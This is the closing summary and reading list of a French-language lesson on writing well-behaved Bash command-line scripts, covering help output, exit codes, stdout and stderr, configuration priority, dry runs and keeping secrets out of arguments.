  • Contrat : -h/--help sur stdout avec 0 ; erreur d'usage d'une ligne sur stderr avec 2 ; --version ; table de codes documentée (0, 1, 2, puis vos cas), jamais calculée, jamais au-dessus de 125.
  • Données sur stdout, messages sur stderr ; couleurs seulement si [[ -t 2 ]], NO_COLOR vide et TERM différent de dumb.
  • Priorité : défauts < fichier < environnement < options, dans l'ordre des affectations. Le fichier se lit, il ne s'exécute pas.
  • Simulation par une fonction executer unique ; confirmation seulement devant un terminal, refusée par défaut, contournable par --oui explicite.
  • Jamais de secret en argument : /proc/<pid>/cmdline est lisible par tous.

Pour aller plus loin

  • Le chapitre 12 des Base Definitions de POSIX, Utility Conventions, court, et la page getopts de la norme, qui fixe précisément le comportement d'OPTIND et du mode silencieux.
  • La page de Greg Wooledge, BashFAQ/035, et sa suite ComplexOptionParsing, pour les variantes de la boucle à la main.
  • Command Line Interface Guidelines, un guide complet et argumenté sur l'aide, les sorties, les erreurs, la configuration et les confirmations ; il vise surtout les outils compilés, mais presque tout s'applique aux scripts.
  • La page getopt(1) d'util-linux et les exemples installés dans /usr/share/doc/util-linux/examples/, si vous reprenez un script qui l'utilise.
  • La page sysexits.h(3head), pour connaître les codes que d'autres outils utilisent.
  • La leçon suivante, Gérer les erreurs, qui fait respecter cette table de codes jusque dans les cas où une commande échoue sans prévenir.
+20 XP Carte du ciel →Mon cosmonaute →

Sources